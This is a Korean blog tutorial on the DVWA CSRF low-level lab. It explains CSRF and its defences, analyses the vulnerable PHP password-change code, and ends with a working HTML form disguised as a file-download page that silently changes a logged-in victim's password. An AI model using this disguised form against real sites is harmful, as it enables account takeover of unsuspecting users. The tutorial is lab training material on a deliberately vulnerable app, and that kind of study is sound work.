상세 컨텐츠

본문 제목

DVWA : CSRF - Low level

Vulnerability Assessment/Web Application

by DarkSoul.Story 2024. 12. 30. 23:27

본문

반응형
이 문서에 포함된 어떠한 내용도 불법적이거나 비윤리적인 목적으로 보안 도구나 방법론을 사용하도록 가르치거나 장려하지 않습니다. 항상 책임감 있는 태도로 행동하세요. 여기에 설명된 도구나 기법을 사용하기 전에 개인 테스트 환경 또는 허가를 받았는지 확인하세요.

 

[ 환경 ]

DVWA v1.9
Burp Suite Community Edition v2024.11.2

1. Overview

크로스 사이트 요청 위조(CSRF, Cross-Site Request Forgery)는 웹 애플리케이션의 사용자 신뢰를 악용하는 공격으로, 사용자가 의도하지 않은 요청을 서버에 보내도록 유도하는 취약점이다. 공격자는 사용자의 세션 인증 정보를 악용해 사용자 권한으로 임의의 작업(예: 계좌 이체, 비밀번호 변경, 데이터 삭제)을 수행할 수 있다. CSRF 공격은 주로 피해자가 신뢰하는 웹 애플리케이션의 취약점을 노린다.

[그림 1] CSRF,  Cross-Site Request Forgery

 

ㅁ CSRF 취약점 발생 원인

자동으로 포함되는 인증 정보

  • 대부분의 브라우저는 쿠키, 세션 토큰과 같은 인증 정보를 자동으로 포함하여 서버로 전송합니다. 공격자는 이를 이용해 인증된 요청을 위조할 수 있다.

사용자 입력값 검증 부족

  • 서버가 요청의 출처를 확인하지 않거나 요청의 유효성을 검증하지 않으면 CSRF 공격에 취약해진다.

HTTP 요청 메커니즘의 신뢰

  • GET, POST, PUT 등 HTTP 요청 메서드의 동작을 신뢰하지만, 이를 확인하는 추가적인 인증 절차가 없는 경우

ㅁ 공격 시나리오

  1. 피해자가 웹 애플리케이션에 로그인하여 인증된 세션을 유지 중
  2. 공격자가 악성 링크나 스크립트를 포함한 웹 페이지나 이메일을 피해자에게 전달
  3. 피해자가 링크를 클릭하거나 페이지를 방문하면, 브라우저는 피해자의 인증 정보를 포함해 서버로 요청을 보냄
  4. 서버는 요청이 피해자로부터 온 것처럼 신뢰하고, 공격자가 의도한 작업(예: 계좌 이체, 데이터 변경)을 수행

ㅁ CSRF  취약점 대응 방안

CSRF 방지 토큰 사용

  • 모든 요청에 대해 서버에서 생성된 고유한 CSRF 토큰을 포함시킨다.
  • 서버는 요청에 포함된 CSRF 토큰의 유효성을 검증하며, 토큰이 없거나 일치하지 않으면 요청을 거부한다.

Referer 헤더 및 Origin 헤더 검증

  • 요청의 출처를 확인하기 위해 Referer 또는 Origin 헤더를 검증한다.
  • 요청이 신뢰할 수 없는 출처에서 온 경우 요청을 차단한다.

인증 정보 제한

  • 중요한 작업은 재인증(비밀번호 입력, 추가 인증 코드)을 요구해 공격이 성공하더라도 피해를 최소화한다.

SameSite 쿠키 설정

  • SameSite 속성을 Strict 또는 Lax로 설정하여 쿠키가 다른 사이트에서의 요청에 자동으로 포함되지 않도록 설정한
  • 예: Set-Cookie: sessionid=abc123; SameSite=Strict; HttpOnly

사용자 알림 및 로그 기록

  • 의심스러운 활동이 감지되면 사용자에게 알림을 보내고, 서버 로그를 통해 CSRF 공격 시도를 기록한다.

CSRF는 사용자의 신뢰를 이용한 교묘한 공격 방식으로, 서버는 요청의 정당성을 철저히 검증해야 한다. CSRF 방지 토큰, Referer 검증, 쿠키 정책 강화 등 다층적인 보안 조치를 통해 CSRF 공격을 예방할 수 있다. 이러한 조치를 통해 웹 애플리케이션의 신뢰성과 안전성을 유지할 수 있다.

 

2.  Source code analysis

[그림 2] Low level Source code

요청 조건 확인

if( isset( $_GET[ 'Change' ] ) ) {
  • Change라는 GET 파라미터가 요청에 포함되어 있는지 확인하며, isset()을 사용해 해당 파라미터가 설정되어 있는 경우에만 비밀번호 변경 로직을 실행한다.

사용자 입력값 가져오기

$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
  • password_new: 사용자가 입력한 새 비밀번호
  • password_conf: 새 비밀번호 확인 입력값

비밀번호 일치 여부 확인

if( $pass_new == $pass_conf ) {
  • 새 비밀번호($pass_new)와 확인 입력값($pass_conf)이 동일한지 확인한다.
  • 비밀번호가 일치하면 데이터베이스에 저장하는 작업을 진행하고, 그렇지 않으면 아래의 else 블록으로 넘어가 오류 메시지를 출력한다.

새 비밀번호 처리 (입력값 정제)

$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  • mysqli_real_escape_string( ) 함수를 이용하여 SQL 인젝션(SQL Injection)을 방지하기 위해 데이터베이스 쿼리에 안전하도록 입력값을 이스케이프 처리한다.  ($GLOBALS["___mysqli_ston"]는 MySQL 연결 객체)
  • MySQL 연결 객체가 없거나 유효하지 않으면 오류 메시지를 트리거한다.

새 비밀번호 처리 (비밀번호 암호화)

$pass_new = md5( $pass_new );
  • 입력된 새 비밀번호를 md5 해시 알고리즘으로 암호화하고, 암호화된 비밀번호를 데이터베이스에 저장한다.
  • md5는 더 이상 안전하지 않은 해시 알고리즘으로, rainbow table 공격 및 GPU 기반 크래킹 공격에 취약하다.

데이터베이스 업데이트

$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  • dvwaCurrentUser( ) 함수는 현재 로그인된 사용자 이름을 반환한다.
  • UPDATE 쿼리를 생성하여 현재 사용자의 비밀번호를 새 비밀번호($pass_new )로 업데이트한다.
  • mysqli_query(  )를 통해 쿼리를 실행하고, 실행 중 오류가 발생하면 die(  ) 로 오류 메시지를 출력하고 실행을 중단한다.

데이터베이스 연결 종료

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  • mysqli_close( ) 로 연결을 닫으며, 종료가 실패하면 false를 반환한다.

 

3. Practical exercises

소스코드에서 보았듯이 적절한 CSRF를 보호 할 수 있는 기능이 없다. 이를 통해 공격자는 악성 URL을 만들어 로그인한 사용자를 속여 자신도 모르게 원치 않는 작업을 대신 실행 할 수 있다. 이 취약점은 코드에 요청의 출처를 확인하는 메커니즘이 포함되어 있지 않다는 사실에 있다. 따라서 공격자는 악의적인 목적을 가진 코드를 포함된 URL을 생성하여 피해자에게 보내면, 피해자가 취약한 웹사이트에서 인증된 상태에서 악성 링크를 클릭하면 이 코드는 추가 인증이나 사용자 동의 없이 비밀번호 변경을 실행한다.


참고 : 일부 최신 브라우저는 SameSite 속성을 명시하지 않은 쿠키를 기본적으로 SameSite 쿠키 플래그를 Lax로 처리 하고 있으며, 이를 통해 일부 유형의 CSRF 공격을 차단하고 있다.

더보기

SameSite 쿠키 플래그는 브라우저가 쿠키를 특정 상황에서만 포함하도록 제한하는 보안 메커니즘으로, 이를 통해 CSRF (Cross-Site Request Forgery)와 같은 공격을 완화할 수 있다. SameSite 플래그는 쿠키가 요청에 자동으로 포함되는 방식을 제어하여, 요청 출처가 다를 때 쿠키의 전송 여부를 결정한다.

 

SameSite 쿠키 플래그의 옵션

 

1. Strict

  • 쿠키는 동일한 출처에서 발생한 요청에만 포함된다.
  • 크로스-사이트 요청에서는 쿠키가 전송되지 않는다.
  • 엄격한 보안을 제공하지만, 사용자 경험(UX)에 제한이 있을 수 있다.
  • 예: 외부 링크를 통해 로그인된 사이트로 돌아올 때 세션이 유지되지 않을 수 있음
# 사용 예시
Set-Cookie: my_cookie=value; SameSite=Strict

 

2. Lax

  • 쿠키는 일부 크로스-사이트 요청에 포함될 수 있다.
  • GET 요청 및 사용자 상호작용이 있는 상황 (예: 링크 클릭)에서만 쿠키가 전송된다.
  • POST, PUT, DELETE 같은 상태를 변경하는 요청에는 쿠키가 포함되지 않음
  • 보안과 사용자 경험의 균형을 제공한다.
# 사용 예시
Set-Cookie: my_cookie=value; SameSite=Lax

 

3. None

  • 쿠키가 모든 출처에서 전송된다.
  • Secure 플래그와 함께 사용해야 하며, HTTPS 연결에서만 작동한다.
  • 완전히 크로스-사이트 쿠키를 허용하는 경우에 사용된다.
# 사용 예시
Set-Cookie: my_cookie=value; SameSite=None; Secure

이제 Low level의 CSRF 공격을 수행해보자. 가장 먼저 New password와 Congirm new password 입력란에 test라고 입력 후 Change 버튼을 클릭해 반응을 살펴 보면, [그림 3]과 같이 비밀번호가 변경된것을 확인할 수 있다. 

[그림 3] 비밀번호 변경

 

전송되는 Request를 Burp Suite로 Intercept 하여 확인해 보면 GET으로 password_new Parameter, password_conf Parameter, Change Parameter를 전송하며, CSRF 토큰이 없다는 사실을 확인할 수 있다. CSRF 보호 기능이 없는 경우 공격자는 피해자가 취약한 웹 사이트에 로그인한 상태에서 URL을 클릭하도록 속여 이 취약점을 악용할 수 있다.

[그림 4] Request Intercept

 

아래 코드는 Intercept한 내용을 토대로 공격자는 파일을 다운로드 하는 페이지로 위장하여, 비밀번호를 test111로 변경하는 간단한 HTML 코드이다. 

<html>
	<body>
        <h3> File Download </h3>
		<form method="GET" action="http://192.168.107.144/DVWA/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change">
			<input type="hidden" name="password_new" value="test111"/>
			<input type="hidden" name="password_conf" value="test111"/>
			<input type="hidden" name="Change" value="Change"/>
			<input type="submit" value="Click to Download File">
		</form>
	</body>
<html>

 

피해자가 취약한 웹 사이트에 로그인한 상태에서 해당 링크를 클릭하게 되면, 피해자 모르게 비밀번호가 공격자가 의도한 test111로 변경되게 된다.

[그림 5] 파일 다운로드를 위장한 비밀번호 변경을 요청하는 페이지
[그림 6] 성공적으로 비밀번호 변경

 

반응형

관련글 더보기